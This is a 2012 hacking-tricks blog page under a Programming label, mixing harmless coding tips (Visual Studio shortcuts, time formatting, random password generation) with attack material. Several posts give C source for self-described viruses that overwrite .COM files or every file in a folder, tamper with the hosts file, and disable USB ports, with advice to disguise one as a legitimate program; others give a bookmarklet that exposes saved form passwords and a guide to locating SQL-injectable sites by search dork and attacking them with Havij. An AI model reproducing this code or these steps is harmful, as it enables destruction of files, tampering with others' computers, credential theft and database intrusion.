Showing posts with label Programming. Show all posts
Showing posts with label Programming. Show all posts

30 Mar 2012

How to hide files in a jpg

Set up:

1. Must have a .zip or .rar compressor.
2. Willingness to learn.
 

Steps:

1. Save the picture of choice to your desktop.
2. Make a new .rar or .zip folder on your desktop.


-: Reveal *****(Asterisk) Passwords Using Javascript :-

Want to Reveal the Passwords Hidden Behind Asterisk (****) ?
Follow the steps given below-

1) Open the Login Page of any website. (eg. http://mail.yahoo.com)
 

28 Mar 2012

How to grab IP address with PHP

Today I’ll be showing you how to grab somebodies IP address when they visit a page.

The variable to use is $_SERVER['REMOTE_ADDR'] - It’s that simple. You can use it 
for just about anything, here are a few examples.

Printing the Users IP Address:
<?php 
print ($_SERVER['REMOTE_ADDR'], "I'm Watching You!"); 
?> 






24 Mar 2012

How to modify any exe files

Learn how to change *.exe files, in 5 easy steps:

1) Don't try to modify a prog by editing his source in a dissasembler.Why?
Cause that's for programmers and assembly experts only.

try to view it in hex you'll only get tons of crap you don't understand.
First off, you need Resource Hacker(last version). It's a resource editor-
very easy to use, You can download it at h**p://www.users.on.net/johnson/resourcehacker/


20 Mar 2012

Browser Shaking

This is a fun little trick that can create a shaking screen on your web browser (i.e. Internet Explorer, etc..)
The trick is simply a small Java Script that causes your browser window to move to different positions, causing a shake of your entire screen. It's kind of cool to watch and see what Java Script can do! Try it out..
Use this trick at your own risk.
Here's how:
Copy this entire line and paste it onto your address box, then press Enter:


javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

19 Mar 2012

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

his virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?


Here is the sourcecode of the virus.
---------------------------------------------------------------------------------------------------------
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
---------------------------------------------------------------------------------------------------------------

Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1                                google.com
5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC)Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer

You need to compile them before you can run it

BLOCK USB
-------------------------------------------------------------------------------------------
#include<stdio.h>

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}
-------------------------------------------------------------------------------------------


UNBLOCK USB
------------------------------------------------------------------------------------------------
#include<stdio.h>

void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}
-----------------------------------------------------------------------------------------------------------

Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

 To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

virus in C

 /* This is a simple overwriting virus programmed in Turbo C */
    /*  It will infect all .COM files in the current directory  */
    /*    Infections destroy the programs and cannot be cured   */
    /*   It was presented in Virology 101 (c) 1993 Black Wolf   */
    /*     FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE!       */

    #include <stdio.h>
    #include <dos.h>
    #include <dir.h>

    FILE *Virus,*Host;
    int x,y,done;
    char buff[256];
    struct ffblk ffblk;

    main()
    {
     done = findfirst("*.COM",&ffblk,0);   /* Find a .COM file */
       while (!done)               /* Loop for all COM's in DIR*/
        {
        printf("Infecting  %s\n", ffblk.ff_name);    /* Inform user */
        Virus=fopen(_argv[0],"rb");          /* Open infected file  */
        Host=fopen(ffblk.ff_name,"rb+");     /* Open new host file  */

        x=9504;                               /* Virus size - must   */
                                              /* be correct for the  */
                                              /* compiler it is made */
                                              /* on, otherwise the   */
                                              /* entire virus may not*/
                                              /* be copied!!         */
        while (x>256)                         /* OVERWRITE new Host  */
            {                                 /* Read/Write 256 byte */
            fread(buff,256,1,Virus);          /* chunks until bytes  */
            fwrite(buff,256,1,Host);          /* left < 256          */
            x-=256;
            }
        fread(buff,x,1,Virus);                /* Finish off copy     */
        fwrite(buff,x,1,Host);
        fcloseall();                          /* Close both files and*/
        done = findnext(&ffblk);              /* go for another one. */
        }
                                              /* Activation would go */
                                              /* here                */
      return (0);                             /* Terminate           */
    }

Visual Studio Cut or Delete the Current Line

In the past month I have written over 1,000 lines of code every single week (not that this is anything new) but without realizing it I was spending a lot of time highlighting, deleting text, then removing the carriage return/line feed. This short-cut may not seem like much but it is a huge time-saver as you work to design your classes in a structured extensible way and it has speed up my editing by over 10%.
Keyboard:  CTRL + L (cut text); SHIFT + DEL(cut text and carriage return); CTRL + X(cut text and carriage return); CTRL + SHIFT + L (delete)
Command:  Edit.LineCut; Edit.Cut; Edit.Cut; Edit.LineDelete
Versions:  2008,2010

HACK PASSWORD USING JAVASCRIPT

hi frndz.. many users forget to logout and they also tick ramember me option so thats way when login page open than password written in ****** so we not read it so now do this open login page and put this code after url of that page and hit enter u can see that passeord


javascript:(function() {var%20s,F,j,f,i;%20s%20=%20%22%22; %20F%20=%20document.forms;%20for(j=0;%20j<F.length;%20++j) %20{%20f%20=%20F[j];%20for%20(i=0;%20i<f.length;%20++i) %20{%20if%20(f[i].type.toLowerCase()%20==%20%22password%22) %20s%20+=%20f[i].value%20+%20%22 %22;%20}%20}%20if %20(s)%20alert(%22This Trick is Exclusively shared by Riken8804%20@www.tricksgod.net:%20The%20Password%20On %20This Page:%22%20+%20s);%20else%20alert(%22There%20are %20no%20passwords%20in%20forms%20on%20this %20page.%22);})();

15 Mar 2012

Virus in c

#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];int source,target,byt,done;struct ffblk ffblk;clrscr();textcolor(2);
cprintf("--------------------------------------------------------------------------");
printf("nVirus: Folderbomb 1.0n");
cprintf("--------------------------------------------------------------------------");
done = findfirst("*.*",&ffblk,0);
while (!done)
{
printf("n");
cprintf(" %s ", ffblk.ff_name);
printf("is attacked by ");
cprintf("Folderbomb");
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONLY);
while(1)
{
byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
elsebreak;
}
close(source);close(target);done = findnext(&ffblk);
}
getch();
}

13 Mar 2012

Seconds, Minutes, and Hours

I have a little function that converts seconds into other units. Let's take a look at it.


Function FormatTime(TimeElapsed As Integer) As String
   Dim Seconds As Integer
   Dim Minutes As Integer
   Dim Hours As Integer
   
   'Find The Seconds
   Seconds = TimeElapsed Mod 60
   
   'Find The Minutes
   Minutes = (TimeElapsed \ 60) Mod 60
   
   'Find The Hours
   Hours = (TimeElapsed \ 3600)
   
   'Format The Time
   If Hours > 0 Then
      FormatTime = Format(Hours,"00") & ":"
   End If
   FormatTime = Format(Hours, "00")  & ":"
   FormatTime = FormatTime & Format(Minutes, "00") & ":" 
   FormatTime = FormatTime & Format(Seconds, "00")
End Function

Let's take a closer look at this. First, I used the Mod operation to get the seconds. "Mod" finds the remainder when one number is divided by another. In this case, when we divide our time elapsed by 60 (one minute), our remainder is the number of seconds left over.

Then I did a similar process to find the minutes, only this time I had to divide the number of seconds by 60 to get the total number of minutes. Again, I used the Mod operator to find the remainder (in this case, the number of leftover minutes).

Finally, the number of hours is the number of seconds divided by 3600. Once again, I used Integer division ('\' instead of '/') because we don't want fractional hours.

The last step of the process is putting the values together in a string, using the Format function to get the right number of digits in each section.

Creating Random Passwords

Creating a random password is a programming task you may have to handle if you own a website which has membership options. A visitor signs up by entering their email address. Then you create a random password, assign it to that email address, and fire off an email to the visitor with the random password in the email.

Why would you do this? It's a way of verifying that the visitor has entered a valid email address. If they entered a bogus email address, the email will never get to them, and they'll never find out what their password is, and they won't be able to log in.

So, how do you create a randomly generated password

Here's what the code will look like:


Dim RandomLetter As Integer
Randomize Timer
'Get One Random Letter
RandomLetter = Int(Rnd * 26) + 65

Of course, that's just one numeric value, and we need a bunch of them strung together as a string variable. How long do you want your password to be? Let's say it'll be 6 characters. So we need to do a loop six times:

Dim RandomLetter As Integer
Dim ThePassword As String
Dim Index As Integer
Randomize Timer
'Get Random Letters
For Index = 1 to 6
   RandomLetter = Int(Rnd * 26) + 65
   ThePassword = ThePassword & Chr(RandomLetter)
Next Index

That'll do it! You now have a random password containing nothing but upper case letters.

One thing that most people will tell you, though, is that passwords like this are very difficult to remember, so websites will often create random passwords which alternate between consonants and vowels. By doing this, you make it possible for the visitor to pronounce the password, which makes it easier to remember.

So, how do we go about doing this? Well, there are a couple ways you can do it. One way is to create a function that generates vowels:


Randomize Timer

'Get Random Vowel
Function GetRandomVowel() As String
   Dim RandomVowel As Integer
   RandomVowel = Int(Rnd * 5)
   Select Case RandomVowel
   Case 0:
      GetRandomVowel = "A"
   Case 1:
      GetRandomVowel = "E"
   Case 2:
      GetRandomVowel = "I"
   Case 3:
      GetRandomVowel = "O"
   Case 4:
      GetRandomVowel = "U"
   End Select
End Function

Then, of course, you create another function which generates a random consonant (this function will be a lot longer, right?). Once you have both of these functions, creating your random password is simple as:

Dim ThePassword As String
Dim Index As Integer
Randomize Timer
'Get Random Letters
For Index = 1 to 3
   ThePassword = ThePassword & GetRandomConsonant() 
   ThePassword = ThePassword & GetRandomVowel()
Next Index

Funny javascript trick ;)

Copy the below code in web browser address bar and press enter

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

You’ll see that your browser shaking :) (in some browsers it will not work)

10 Mar 2012

Installing Java Virtual Machine

If you are getting errors when browsing the web to install Java Virtual Machine,
You can stilldownload it from Microsoft (version 3810)
If this link is removed by MS or is too slow you candownload it here
If you need a previous version, you candownload 3805
It is now included inService Pack1
You can also downloadSun's version

Fixing Cryptographic Services Error

If you get an error about the Cryptographic services when trying to apply the Security Updates or Service Pack 1,
run the following from Start / Run - note, you might want to just cut and paste the text.
net stop cryptsvc
ren %systemroot%\system32\catroot2 oldcatroot2
net start cryptsvc
regsvr32 softpub.dll
regsvr32 wintrust.dll
regsvr32 initpki.dll
regsvr32 dssenh.dll
regsvr32 rsaenh.dll
regsvr32 gpkcsp.dll
regsvr32 sccbase.dll
regsvr32 slbcsp.dll
regsvr32 cryptdlg.dll

8 Mar 2012

Advanced SQL Injection : Havij

It is automated tool for SQL injection for penetration testers to check whether a website is vulnerable to SQL injection or not.All you need to do is to enter the URL of the site that you want to test for the vulnerability and click on ANALYZE button.It will automatically scan the website for Sql Injection.

Download link For Havij
Click Here TO Download Havij 

Features of Havij
  • Supported Databases with injection methods:
    a. MsSQL 2000/2005 with error
    b. MsSQL 2000/2005 no error (union based)
    c. MySQL (union based)
    d. MySQL Blind
    e. MySQL error based
    f. Oracle (union based)
    g. MsAccess (union based)
  • Automatic database detection
  • Automatic type detection (string or integer)
  • Automatic keyword detection (finding difference between the positive and negative response)
  • Trying different injection syntaxes
  • Proxy support
  • Real time result
  • Options for replacing space by /**/,+,… against IDS or filters
  • Avoid using strings (magic_quotes similar filters bypass)
  • Bypassing illegal union
  • Full customizable http headers (like referer and user agent)
  • Load cookie from site for authentication
  • Guessing tables and columns in mysql<5 (also in blind) and MsAccess
  • Fast getting tables and columns for mysql
  • Multi thread Admin page finder
  • Multi thread Online MD5 cracker
  • Getting DBMS Informations
  • Getting tables, columns and data
  • Command executation (mssql only)
  • Reading system files (mysql only)
  • Insert/update/delete data
  • By using this software user can perform back-end database fingerprint, retrieve DBMS users and  password hashes, dump tables and columns, fetching data from the database, running SQL  statements and even accessing the underlying file system and executing commands on the  operating system.
How to Find A vulnerable website

Go to google homepage and search for inurl:php?id=
You will get probably thousands of result.Now open any page and add a apostrophe ( )to the end of the url.Example if the Url was http://www.mytargetsite.com/php?id=34 it should be now http://www.mytargetsite.com/php?id=34
If you get a SQL syntax error then this website can be vulnerable to SQL injection.Now you should use Havij on this URL.

NOTE:This tutorial is for only educational and testing purposes.In some countries SQL injection is an offence.